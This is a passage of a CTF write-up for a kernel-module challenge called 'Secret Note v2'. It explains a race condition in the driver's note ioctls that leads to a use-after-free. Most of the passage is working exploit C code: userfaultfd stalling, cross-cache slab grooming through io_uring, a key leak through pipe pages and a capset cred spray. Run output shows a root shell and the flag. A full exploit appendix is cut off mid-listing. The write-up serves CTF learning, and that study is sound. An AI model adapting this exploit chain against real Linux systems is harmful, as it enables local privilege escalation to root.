+    case IO_ADD: {
+        data.idx = -1;
+        for (i = 0; i < 0x10; i++){
+            if (!table[i]) {
+                data.idx = i;
+                break;
+            }
+        }
+
+        if (data.idx == -1){
+            ret = -ENOMEM;
+            goto done;
+        }
+        table[data.idx] = (struct node*)kzalloc(sizeof(struct node), GFP_KERNEL);
+        table[data.idx]->size = data.size;
+        get_random_bytes(&table[data.idx]->key, sizeof(table[data.idx]->key));
+
+        addr = (uint64_t)kzalloc(data.size, GFP_KERNEL);
+        ret = copy_from_user(buf, (void __user *)data.addr, data.size);
+
+        for (i = 0; i * 8 < data.size; i++)
+            buf[i] ^= table[data.idx]->key;
+        memcpy((void*)addr,(void*)buf,data.size);
+        table[data.idx]->addr =  addr ^ table[data.idx]->key;
+    } break;         
+    case IO_EDIT: {
+        if (table[data.idx]) {
+            addr = table[data.idx]->addr ^ table[data.idx]->key;
+            size = table[data.idx]->size & 0x1ff;
+            ret = copy_from_user(buf, (void __user *)data.addr, size);
+
+            for(i = 0; i * 8 < size; i++)
+                buf[i] ^= table[data.idx]->key;
+            memcpy((void*)addr, buf, size);
+        }
+    } break;
+    case IO_SHOW: {
+        if(table[data.idx]) {
+            addr = table[data.idx]->addr ^ table[data.idx]->key;
+            size = table[data.idx]->size & 0x1ff;
+            memcpy(buf, (void*)addr,size);
+            
+            for (i = 0; i * 8 < size; i++)
+                buf[i] ^= table[data.idx]->key;
+            ret = copy_to_user((void __user *)data.addr, buf, size);
+        }
+    } break;
+    case IO_DEL: {
+        if(table[data.idx]) {
+            addr = table[data.idx]->addr ^ table[data.idx]->key;
+            kfree((void*)addr);
+            kfree(table[data.idx]);
+            table[data.idx] = 0;
+        }
+    } break;
+    default:
+        ret = -ENOTTY;
+        break;
+    }
+    
+    done:
+        return ret;
+}
+
+
+static int note_init(void){
+    return misc_register(&note_miscdev);
+}
+
+static void note_exit(void){
+    misc_deregister(&note_miscdev);
+}
+
+module_init(note_init);
+module_exit(note_exit);
+
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("Secret Note v2");
+
+ +

The character device can store up to sixteen (global) “secret notes” that are “encrypted”, each with their own xor key that is generated upon creation. The notes are stored in the global table array, which consists of struct node pointers - each containing a random key, the size of the contents, and an addr that once XORed with key points to the contents (a buffer that was dynamically allocated with kzalloc.) Note that the contents themselves are XORed with key as well, and that size is limited of 0x1ff.

+ +

The following ioctls are available:

+ +
    +
  • IO_ADD - Create a new note, with contents of a certain size. Returns us the index of the note.
  • +
  • IO_EDIT - Given such an index, replaces the contents of the corresponding note.
  • +
  • IO_SHOW - Given such an index, copies the contents to a buffer in user memory.
  • +
  • IO_DEL - Given such an index, destroys and removes the note and frees up the index for future use.
  • +
+ +

The vulnerability is pretty clear: there is no attempt at all to serialize the state transitions with e.g. a lock. For example, if an IO_DEL request is issued in parallel with an IO_EDIT request - the latter might end up writing to a buffer that was already kfree()-d.

+ +

On first sight, it might look like the race window is very small, but the copy_from_user() call in the IO_EDIT path gives us an easy way out: this call will block if it triggers a page fault whilst trying to read user memory. This extends the race window, so we have a chance to reallocate the buffer we freed with IO_DEL

+ +

The provided kernel also gives unprivileged users access to userfaultfd, so we can handle page faults in usermode and make them block indefinitely. This is very nice, because now we don’t even have to hit a race window anymore - the serialization of the operations is totally up to us.

+ +

As a sidenote, generally userfaultfd is not enabled in the “real world”. On systems without userfaultfd, it’s sometimes possible to get an equivalent primitive using a FUSE handler and mmap(). If that’s also not a possibility, massaging the surrounding state of an existing regular page fault handler to make it take as long as possible is your best bet.

+ +
+ +

We want to get more or less the following sequence:

+ +
    +
  1. Allocate a note with idx i.
  2. +
  3. Issue an IO_EDIT request for i, with an address pointing to a page we registered with userfaultfd. +
      +
    • We’ll receive a notification through the userfaultfd and can stall the page fault as long as we want.
    • +
    +
  4. +
  5. Issue an IO_DEL request for i to free its struct node and backing buffer.
  6. +
  7. Reallocate the backing buffer to something juicy.
  8. +
  9. Unblock the pending page fault through userfaultfd, by faulting in a page with our desired payload. +
      +
    • The IO_EDIT request will resume and copy our payload to said juicy something.
    • +
    +
  10. +
+ +

An obvious contender for the juicy object competition is struct cred - if the cred is already relative to the root user namespace (&init_user_ns), we can just overwrite all the -id fields to 0 and the cap- fields to 0x1ffffffff (full capabilities) to gain root privileges.

+ +
struct cred {
+	atomic_t	usage;
+	kuid_t		uid;		/* real UID of the task */
+	kgid_t		gid;		/* real GID of the task */
+	kuid_t		suid;		/* saved UID of the task */
+	kgid_t		sgid;		/* saved GID of the task */
+	kuid_t		euid;		/* effective UID of the task */
+	kgid_t		egid;		/* effective GID of the task */
+	kuid_t		fsuid;		/* UID for VFS ops */
+	kgid_t		fsgid;		/* GID for VFS ops */
+	unsigned	securebits;	/* SUID-less security management */
+	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
+	kernel_cap_t	cap_permitted;	/* caps we're permitted */
+	kernel_cap_t	cap_effective;	/* caps we can actually use */
+	kernel_cap_t	cap_bset;	/* capability bounding set */
+	kernel_cap_t	cap_ambient;	/* Ambient capability set */
+    //[...]
+}
+
+ +

The standalone challenge only requires us to read/write the flag file in /root, so only overwriting uid or fsid would be enough already. However, for the full chain we want to be able to load a kernel module to pwn the hypervisor, and we’ll need the CAP_SYS_MODULE capability for that.

+ +

Apart from being a nice excercise, making the exploit reliable is also a priority here. Every failed full chain attempt on the remote would set us back about 10 minutes due to reboot times and such.

+ +

I deliberately did not attempt to get instruction pointer control at any point here. It’s often a very unelegant solution - getting the kernel thread to return from the syscall gracefully is a pain, you need a leak, it creates a dependency on the offsets of the target kernel and in real world scenarios you also break a lot of state (deadlocks, etc.). Some creative spraying and targeting the right allocations goes a long way.

+ +

I ended up going with a “two-stage” approach, with two IO_EDIT requests (E1, E2) for the same note blocking with userfaultfd.

+ +

The note N that we’re going to target will have a backing allocation A allocated in kmalloc-96. This is important because struct cred its cache has 192-byte objects, so if we reallocate A as a struct cred eventually, there is a nice 50% chance that the object is aligned to the beginning of the cred. Using a kmalloc-192 object would be a 100% chance, but that would have required us to overwrite at least 128 bytes of the cred and thus corrupted pointers like cred->user_ns, and we don’t have a leak to succesfully fake that.

+ +

We’ll exploit this as follows:

+ +
    +
  1. Submit IO_EDIT E1 for N, block on data.addr access.
  2. +
  3. Submit IO_EDIT E2 for N, block on data.addr access as well (on a different page).
  4. +
  5. Submit IO_DEL for N, which will free A and N.
  6. +
  7. Reallocate A as something that we can read from later (A’).
  8. +
  9. Submit IO_ADD to create a new note (N’). +
      +
    • This is needed because otherwise the table[data.idx]->key read in the IO_EDIT path will crash because table[data.idx] is reset to NULL.
    • +
    +
  10. +
  11. Use the userfaultfd to fault in a page filled with zero bytes to unblock E1. +
      +
    • The IO_EDIT path of E1 will resume and XOR the new table[data.idx]->key with zero, resulting in… the key!
    • +
    +
  12. +
  13. Read from A’ to leak the key.
  14. +
  15. Free A’ again and reallocate it as astruct cred that is used for a child process.
  16. +
  17. Use the userfaultfd to fault in a page that contains a fake (partial) struct cred, XORed with the key we just leaked. +
      +
    • The IO_EDIT path of E2 will resume and overwrite (part of) the struct cred with our fake version, giving it full root privileges!
    • +
    +
  18. +
  19. Use the root privs to do nefarious things like loading a kernel module to exploit the hypervisor.
  20. +
+ +

Note bene: you can skip the whole two-stage approach and key leak if you make a single IO_EDIT fault twice in copy_from_user. This will write your contents to the target directly without performing the XOR afterwards. It also would enable us to use a kmalloc-192 object. I didn’t think of this during the CTF ://

+ +

Ok… easier said than done of course! There’s a few things we have to figure out: let’s start with how we’re going to reallocate A -> A’ (original backing buffer -> “something we can read from”).

+ +

I ended up skipping same cache shenanigans, and released the slab that A resides on to the page allocator directly. We’re going to need to do this anyway to reallocate A as (part of) a struct cred, so why not do it now? After we’ve done this, we can trivially reallocate it as e.g. the backing of a pipe, which we can read from. Note the alloc_page() call in pipe_write():

+ +
static ssize_t
+pipe_write(struct kiocb *iocb, struct iov_iter *from)
+{
+    //[...]
+    for (;;) {
+        if (!pipe->readers) {
+            send_sig(SIGPIPE, current, 0);
+            if (!ret)
+                ret = -EPIPE;
+            break;
+        }
+
+        head = pipe->head;
+        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
+            unsigned int mask = pipe->ring_size - 1;
+            struct pipe_buffer *buf = &pipe->bufs[head & mask];
+            struct page *page = pipe->tmp_page;
+            int copied;
+
+            if (!page) {
+                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
+                if (unlikely(!page)) {
+                    ret = ret ? : -ENOMEM;
+                    break;
+                }
+                pipe->tmp_page = page;
+            }
+            //[...]
+        }
+        //[...]
+    }
+    //[...]
+}
+
+ +

To succesfully release the order 0 slab that A resides on to the page allocator again, we’ll have to trick the SLUB allocator a bit. Even if all objects on a given slab are freed, this does not automatically free the slab to the page allocator. First, SLUB tries to put the slab on a so called per-cpu partial list, so that it can be reused for other allocations in the same cache. The underlying thought is that keeping the pages cached for a bit will save latency for future allocations in that cache, because issuing a new slab will only require taking it from the per-cpu partial list vs. a relatively expensive call into the page allocator.

+ +

Of course it wouldn’t be ideal if all these pages allocated for slabs could never be reused anywhere else again, so the partial list its capacity is bounded. This capacity can be found by reading /sys/kernel/slab/$yourslab/cpu_partial as root. For the challenge, kmalloc-96 its cpu_partial was set to 30 slabs.

+ +

If the partial list is already full, a slab that has no active objects anymore will be released back to the page allocator, which is exactly what we want. So we’ll have to fill the partial list up with a bunch of junk slabs first.

+ +

For a more detailed description, I would recommend reading this section of the CVE-2022-29582 writeup I worked on.

+ +

Generally all the grooming to release a slab to the page allocator can be abstracted quite neatly. It ended up looking like this (mostly lifted from the CVE-2022-29582 exploit as well):

+ +

+#define OBJS_PER_SLAB 32
+#define CPU_PARTIAL 30
+
+#define CC_OVERFLOW_FACTOR 8
+
+static inline int64_t cc_allocate(struct cross_cache *cc,
+                                  int64_t *repo,
+                                  uint32_t to_alloc)
+{
+    for (uint32_t i = 0; i < to_alloc; i++)
+    {
+        int64_t ref = cc->allocate();
+        if (ref == -1)
+            return -1;
+        repo[i] = ref;
+    }
+    return 0;
+}
+
+static inline int64_t cc_free(struct cross_cache *cc,
+                              int64_t *repo,
+                              uint32_t to_free,
+                              bool per_slab)
+{
+    for (uint32_t i = 0; i < to_free; i++)
+    {
+        if (per_slab && (i % (cc->objs_per_slab - 1) == 0))
+            continue;
+        else
+        {
+            if (repo[i] == -1)
+                continue;
+            cc->free(repo[i]);
+            repo[i] = -1;
+        }
+    }
+    return 0;
+}
+
+/*
+ * Reserve enough objects to later overflow the per-cpu partial list */
+static inline int64_t reserve_partial_list_amount(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    cc_allocate(cc, cc->overflow_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t allocate_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab - 1;
+    cc_allocate(cc, cc->pre_victim_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t fill_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_alloc = cc->objs_per_slab + 1;
+    cc_allocate(cc, cc->post_victim_objs, to_alloc);
+    return 0;
+}
+
+static inline int64_t empty_victim_page(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab - 1;
+    cc_free(cc, cc->pre_victim_objs, to_free, false);
+    to_free = cc->objs_per_slab + 1;
+    cc_free(cc, cc->post_victim_objs, to_free, false);
+    return 0;
+}
+
+static inline int64_t overflow_partial_list(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    cc_free(cc, cc->overflow_objs, to_free, true);
+    return 0;
+}
+
+static inline int64_t free_all(struct cross_cache *cc)
+{
+    uint32_t to_free = cc->objs_per_slab * (cc->cpu_partial + 1);
+    cc_free(cc, cc->overflow_objs, to_free, false);
+    empty_victim_page(cc);
+
+    return 0;
+}
+
+int64_t cc_next(struct cross_cache *cc)
+{
+    switch (cc->phase++)
+    {
+    case CC_RESERVE_PARTIAL_LIST:
+        return reserve_partial_list_amount(cc);
+    case CC_ALLOC_VICTIM_PAGE:
+        return allocate_victim_page(cc);
+    case CC_FILL_VICTIM_PAGE:
+        return fill_victim_page(cc);
+    case CC_EMPTY_VICTIM_PAGE:
+        return empty_victim_page(cc);
+    case CC_OVERFLOW_PARTIAL_LIST:
+        return overflow_partial_list(cc);
+    default:
+        return 0;
+    }
+}
+
+struct cross_cache *cc_init(uint32_t objs_per_slab,
+                            uint32_t cpu_partial,
+                            void *allocate_fptr,
+                            void *free_fptr)
+{
+    struct cross_cache *cc = malloc(sizeof(struct cross_cache));
+    if (!cc)
+    {
+        perror("init_cross_cache:malloc\n");
+        return NULL;
+    }
+    cc->objs_per_slab = objs_per_slab;
+    cc->cpu_partial = cpu_partial;
+    cc->free = free_fptr;
+    cc->allocate = allocate_fptr;
+    cc->phase = CC_RESERVE_PARTIAL_LIST;
+
+    uint32_t n_overflow = objs_per_slab * (cpu_partial + 1) * CC_OVERFLOW_FACTOR;
+    uint32_t n_previctim = objs_per_slab - 1;
+    uint32_t n_postvictim = objs_per_slab + 1;
+
+    cc->overflow_objs = malloc(sizeof(int64_t) * n_overflow);
+    cc->pre_victim_objs = malloc(sizeof(int64_t) * n_previctim);
+    cc->post_victim_objs = malloc(sizeof(int64_t) * n_postvictim);
+
+    return cc;
+}
+
+ +

And then qua integration in the exploit:

+ +
int main()
+{
+    kmalloc96_cc = cc_init(OBJS_PER_SLAB, CPU_PARTIAL, cc_alloc_kmalloc96, cc_free_kmalloc96);
+    //[...]
+    /* allocate a bunch of kmalloc96 objects, so the next one we allocate will fall into our "victim page" */
+    cc_next(kmalloc96_cc);
+    cc_next(kmalloc96_cc);
+    note_add(mem, 96);
+
+    /* also fill up the victim page */
+    cc_next(kmalloc96_cc);
+    //[...]
+}
+
+static void *userfault_thread(void *arg)
+{
+    cc_next(kmalloc96_cc); /* free surrounding objects*/
+    cc_next(kmalloc96_cc); /* fill up partial lists */
+
+    /* sleep for rcu*/
+    usleep(200000);
+    
+    /* free backing buffer in kmalloc-96 and release its slab back to the page allocator. */
+    note_del(0);
+    //[...]
+}
+
+ +

for cc_alloc_kmalloc96 and cc_free_kmalloc96 i used a nice primitive in io_uring that allows for spraying an unlimited amount of objects in kmalloc-96:

+ +
int uring_spray_fd;
+
+static int64_t cc_alloc_kmalloc96()
+{
+    /* This will allocate a io uring identity in kmalloc-96. It can be repeated an arbitrary amount of times for a single uring instance. */
+    int res = syscall(SYS_io_uring_register, uring_spray_fd, IORING_REGISTER_PERSONALITY, 0, 0);
+    if (res < 0)
+        fatal("alloc: io_uring_register() failed");
+    
+    return res;
+}
+
+static void cc_free_kmalloc96(int64_t personality)
+{
+    if (syscall(SYS_io_uring_register, uring_spray_fd, IORING_UNREGISTER_PERSONALITY, 0, personality) < 0)
+        fatal("free: io_uring_register() failed");
+}
+
+ +

Which corresponds to the following kernel code:

+
static int io_register_personality(struct io_ring_ctx *ctx)
+{
+	struct io_identity *iod;
+	u32 id;
+	int ret;
+
+	iod = kmalloc(sizeof(*iod), GFP_KERNEL); /* sizeof (*iod) == 72 -> kmalloc-96 */
+	if (unlikely(!iod))
+		return -ENOMEM;
+
+	io_init_identity(iod);
+	iod->creds = get_current_cred();
+
+	ret = xa_alloc_cyclic(&ctx->personalities, &id, (void *)iod,
+			XA_LIMIT(0, USHRT_MAX), &ctx->pers_next, GFP_KERNEL);
+	if (ret < 0) {
+		put_cred(iod->creds);
+		kfree(iod);
+		return ret;
+	}
+	return id;
+}
+
+ +

Then, to reallocate the slab as the backing buffer for a pipe, and subsequently read it out again:

+ +
static void *userfault_thread(void *arg)
+{
+    //[...]
+    /* Reallocate freed kmalloc-96 slab as a pipe page. */
+    uint64_t dummy_buf[0x1000 / 8] = {};
+    for (size_t i = 0; i < ARRAY_SIZE(pipes); i++)
+        if (write(pipes[i].write, dummy_buf, 0x1000) < 0)
+            fatal("write() to pipe failed");
+
+    /* unblock to trigger memcpy(). */
+    size_t copied_size = 0;
+    ufd_unblock_page_copy((void *)blockers[0].arg.pagefault.address, scratch, &copied_size);
+
+    usleep(200000);
+    uint64_t cookie = 0, cookie_idx = 0;
+    size_t pipe_idx;
+    for (pipe_idx = 0; pipe_idx < ARRAY_SIZE(pipes); pipe_idx++) {
+        /* kmalloc-96 is not naturally aligned to PAGESIZE, so we can read this all without worrying
+         * about prematurely freeing our page. */
+        for (size_t i = 0; i < 42; i++) {
+            uint64_t chunk[0x0c];
+
+            if (read(pipes[pipe_idx].read, &chunk, 96) <= 0)
+                fatal("read() from pipe failed");
+
+            uint64_t potential_cookie = chunk[0];
+
+            printf("%.16lx\n", potential_cookie);
+            if (!cookie && potential_cookie) {
+                cookie = potential_cookie;
+                cookie_idx = i;
+            }
+        }
+
+        if (cookie) {
+            break;
+        }
+    }
+
+    if (cookie) {
+
+        /* If we didn't land on a cred boundary, bail out. We'd crash anyway. */
+        if ((cookie_idx * 96) % 192 != 0) {
+            /* make the memcpy() just write into our controlled pipe page again, so no harm is done. */
+            ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+            fatal("UaF object was not aligned to 192 bytes. Try again..");
+        }
+
+        /* Before releasing the page again, we empty the cred freelist 
+         * so any new cred allocations will get a new slab */
+        alloc_n_creds(uring_cred_dumps[0], 0x4000);
+
+        /* Release page*/
+        close(pipes[pipe_idx].read);
+        close(pipes[pipe_idx].write);
+    } else {
+        /* this error path is a bit problematic, we don't know where the write went.. 
+         * still, it's better to get the other write over with now.
+        */
+        ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+        fatal("cross-cache failed. Try again..");
+    }
+
+    printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie);
+    //[...]
+}
+
+ +

Note that we can also observe the offset of the object inside of the page now by tracking how much we’ve read from the pipe! This is important, because now we can determine whether our UaF buffer is aligned to 192 bytes or not. If this is not the case, we’ll have to exit early, because even reallocating as a struct cred, we’d end up with bad alignment that’d leave us unable to overwrite the juicy cred fields. This is actually fine, because we can just retry the exploit up until this part until we get favorable alignment.

+ +

If the offset is favorable, we can now proceed by closing the pipe and thereby releasing the pipe back to the page allocator. Now we can reallocate this page as a struct cred slab! I found a nice way to spray struct creds in a targeted way using the capset syscall:

+ +
SYSCALL_DEFINE2(capset, cap_user_header_t, header, const cap_user_data_t, data)
+{
+	struct __user_cap_data_struct kdata[_KERNEL_CAPABILITY_U32S];
+	unsigned i, tocopy, copybytes;
+	kernel_cap_t inheritable, permitted, effective;
+	struct cred *new;
+	int ret;
+	pid_t pid;
+
+	ret = cap_validate_magic(header, &tocopy);
+	if (ret != 0)
+		return ret;
+
+	if (get_user(pid, &header->pid))
+		return -EFAULT;
+
+	/* may only affect current now */
+	if (pid != 0 && pid != task_pid_vnr(current))
+		return -EPERM;
+
+	copybytes = tocopy * sizeof(struct __user_cap_data_struct);
+	if (copybytes > sizeof(kdata))
+		return -EFAULT;
+
+	if (copy_from_user(&kdata, data, copybytes))
+		return -EFAULT;
+
+	for (i = 0; i < tocopy; i++) {
+		effective.cap[i] = kdata[i].effective;
+		permitted.cap[i] = kdata[i].permitted;
+		inheritable.cap[i] = kdata[i].inheritable;
+	}
+	while (i < _KERNEL_CAPABILITY_U32S) {
+		effective.cap[i] = 0;
+		permitted.cap[i] = 0;
+		inheritable.cap[i] = 0;
+		i++;
+	}
+
+	effective.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK;
+	permitted.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK;
+	inheritable.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK;
+
+	new = prepare_creds();
+	if (!new)
+		return -ENOMEM;
+
+	ret = security_capset(new, current_cred(),
+			      &effective, &inheritable, &permitted);
+	if (ret < 0)
+		goto error;
+
+	audit_log_capset(new, current_cred());
+
+	return commit_creds(new);
+
+error:
+	abort_creds(new);
+	return ret;
+}
+
+ +

new = prepare_creds() will allocate a new struct cred and return commit_creds(new) will replace our current task its cred with new_cred. To prevent the old cred from being freed, we can actually reuse the io_uring primitive we used for spraying kmalloc-96!

+ +
static int io_register_personality(struct io_ring_ctx *ctx)
+{
+	struct io_identity *iod;
+	u32 id;
+	int ret;
+
+	iod = kmalloc(sizeof(*iod), GFP_KERNEL); /* sizeof (*iod) == 72 -> kmalloc-96 */
+	if (unlikely(!iod))
+		return -ENOMEM;
+
+	io_init_identity(iod);
+	iod->creds = get_current_cred();
+
+	ret = xa_alloc_cyclic(&ctx->personalities, &id, (void *)iod,
+			XA_LIMIT(0, USHRT_MAX), &ctx->pers_next, GFP_KERNEL);
+	if (ret < 0) {
+		put_cred(iod->creds);
+		kfree(iod);
+		return ret;
+	}
+	return id;
+}
+
+ +

get_current_cred() will take an extra reference to the current tasks cred and store it in the io_uring context. We can combine this with capset in the following way:

+ +
static int alloc_n_creds(int uring_fd, size_t n_creds)
+{
+    for (size_t i = 0; i < n_creds; i++) {
+        struct __user_cap_header_struct cap_hdr = {
+            .pid = 0,
+            .version = _LINUX_CAPABILITY_VERSION_3
+        };
+
+        struct user_cap_data_struct cap_data[2] = {
+            {.effective = 0, .inheritable = 0, .permitted = 0},
+            {.effective = 0, .inheritable = 0, .permitted = 0}
+        };
+
+        /* allocate new cred */
+        if (syscall(SYS_capset, &cap_hdr, (void *)cap_data))
+            fatal("capset() failed");
+
+        /* increment refcount so we don't free it afterwards*/
+        if (syscall(SYS_io_uring_register, uring_fd, IORING_REGISTER_PERSONALITY, 0, 0) < 0)
+            fatal("io_uring_register() failed");
+    }
+}
+
+ +

Before freeing the pipe page again, you might have already noticed the call to alloc_n_creds(uring_creds_dump[0], 0x4000). We do this while the page is still in use to exhaust all the freelists (both cpu partial lists and per slab freelists) for the struct cred cache. This way, we can be quite certain that new struct cred allocations will immediately cause a new slab to be allocated from the page allocator directly.

+ +

The remaining part of the exploit is short and sweet:

+ +
static void *userfault_thread(void *arg)
+{
+    //[...]
+    printf("pipe %ld, offset +0x%.4lx: cookie %.16lx\n", pipe_idx, cookie_idx * 96, cookie);
+
+    /* Pre-allocate struct creds to reclaim the page. 
+     * Free them immediately afterwards so we can reallocate them for tasks. */
+    alloc_n_creds(uring_cred_dumps[1], 32);
+    close(uring_cred_dumps[1]);
+
+    /* wait for rcu to finish so creds are actually freed. */
+    usleep(200000);
+
+    struct pipe_pair child_comm;
+    pipe(child_comm.__raw);
+
+    /* realloc creds, now belong to child tasks */
+    for (size_t i = 0; i < 32 * 2; i++) {
+        
+        if (fork())
+            continue;
+        
+        sleep(2);
+        uid_t uid = getuid();
+        printf("uid: %d\n", uid);
+        if (!uid) {
+            char dummy[8];
+            write(child_comm.write, &dummy, sizeof dummy);
+            system("sh");
+        }
+
+        exit(0);
+        
+    }
+
+    sleep(1);
+
+    struct kernel_cred *cred = (void*)scratch;
+
+    cred->usage = 1;
+    cred->uid = cred->euid = cred->fsuid = 0;
+    cred->gid = cred->egid = cred->fsgid = 0;
+    cred->securebits = 0; /* SECUREBITS_DEFAULT */
+    cred->cap_effective = cred->cap_permitted = cred->cap_inheritable = cred->cap_bset = 0x1fffffffful;
+    cred->cap_ambient = 0;
+
+    for (size_t i = 0; i < 96 / 8; i++)
+        scratch[i] ^= cookie;
+
+    ufd_unblock_page_copy((void *)blockers[1].arg.pagefault.address, scratch, &copied_size);
+
+    struct pollfd poller[] = { {.events = POLLIN, .fd = child_comm.read}};
+
+    if (poll(poller, 1, 3000) != 1)
+        fatal("Could not overwrite struct cred. Try again..");
+
+    sleep(10000);
+    return NULL;
+}
+
+ +

We call alloc_n_creds(uring_cred_dumps[1], 32) to alloc 32 new struct creds that will hopefully cause the page to be reallocated as a struct cred slab. Afterwards, we free all of them, and allocate a bunch of child processes. The cred allocations will be reused for their creds, after which point we can trigger the UaF write again and overwrite the creds to give us root! Each child process can then check their uid via getuid() and give us a root shell in case it returns 0.

+ +

*Note bene: Technically the parent task could also have had its cred overwritten, so I should have checked there as well. */

+ +

The exploit completes in a few seconds and is quite reliable (though I could have done a few more optimizations!) The exploit will succeed about 50% of the time due to the alignment problem, but can be reran as it won’t cause a crash.

+ +
~ $ ./pwn
+[+] rlimit 7 increased to 4096userfaultfd initialized
+[+] got userfault block 0 (addr 00007f8a4d7ab000)
+[+] got userfault block 1 (addr 00007f8a4d7ac000)
+unblocking 0x7f8a4d7ab000 (copying 0x1000 bytes from 0x7f8a4d7a9000)[+] note_edit() succeeded
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+529d1fb9167cb1a3
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+0000000000000000
+pipe 0, offset +0x0240: cookie 529d1fb9167cb1a3
+unblocking 0x7f8a4d7ac000 (copying 0x1000 bytes from 0x7f8a4d7a9000)done
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 0
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+uid: 1000
+/home/note # id
+uid=0(root) gid=0 groups=1000
+/home/note # cat /root/flag
+hitcon{R4c3_Bl0ck_Bl0ck_Bl0ck_70_r00t}
+
+
+ +

Appendix: full exploit

+ +
#define _GNU_SOURCE
+#include <assert.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <inttypes.h>
+#include <limits.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <poll.h>
+#include <stdnoreturn.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <linux/userfaultfd.h>
+
+#include <sys/ioctl.h>
+#include <sys/ipc.h>
+#include <sys/mman.h>
+#include <sys/msg.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/timerfd.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+#include <sys/resource.h>
+#include <linux/capability.h>
+#include <sys/xattr.h>
+
+/* musl is stupid btw */
+#undef NGROUPS_MAX
+#undef _IOC
+#undef _IO
+#undef _IOR
+#undef _IOW
+#undef _IOWR
+
+#include <linux/io_uring.h>
+
+#define CC_OVERFLOW_FACTOR 8
+enum {
+    CC_RESERVE_PARTIAL_LIST = 0,
+    CC_ALLOC_VICTIM_PAGE,
+    CC_FILL_VICTIM_PAGE,
+    CC_EMPTY_VICTIM_PAGE,
+    CC_OVERFLOW_PARTIAL_LIST
+};
+
+struct cross_cache
+{
+    uint32_t objs_per_slab;
+    uint32_t cpu_partial;
+    struct
+    {
+        int64_t *overflow_objs;
+        int64_t *pre_victim_objs;
+        int64_t *post_victim_objs;
+    };
+    uint8_t phase;
+    int (*allocate)();
+    int (*free)(int64_t);
+};
+
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+// n must be a power of 2
+#define ALIGN(x, n) ((x) + (-(x) & ((n)-1)))
+
+#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+
+#define IOC_MAGIC '\xFF'
+
+#define IO_ADD _IOWR(IOC_MAGIC, 0, struct ioctl_arg)
+#define IO_EDIT _IOWR(IOC_MAGIC, 1, struct ioctl_arg)
+#define IO_SHOW _IOWR(IOC_MAGIC, 2, struct ioctl_arg)
+#define IO_DEL _IOWR(IOC_MAGIC, 3, struct ioctl_arg)
+
+struct ioctl_arg
+{
+    uint64_t idx;
+    uint64_t size;
+    uint64_t addr;
+};
+
+static noreturn void fatal(const char *msg)
+{
+    perror(msg);
+    exit(EXIT_FAILURE);
+}
+
+static int userfault_fd;
+static void *userfault_page;
+
+static pthread_t userfault_pthread;
+
+static int note_fd;
+
+static struct cross_cache *kmalloc96_cc;
+size_t n_queues;
+
+struct kernel_cred {
+    uint32_t usage;
+    uint32_t uid;
+    uint32_t gid;
+    uint32_t suid;
+    uint32_t sgid;
+    uint32_t euid;
+    uint32_t egid;
+    uint32_t fsuid;
+    uint32_t fsgid;
+    uint32_t securebits;
+    uint64_t cap_inheritable;
+    uint64_t cap_permitted;
+    uint64_t cap_effective;
+    uint64_t cap_bset;
+    uint64_t cap_ambient;
+    /* ... not relevant*/
+};
+
+struct pipe_pair {
+    union {
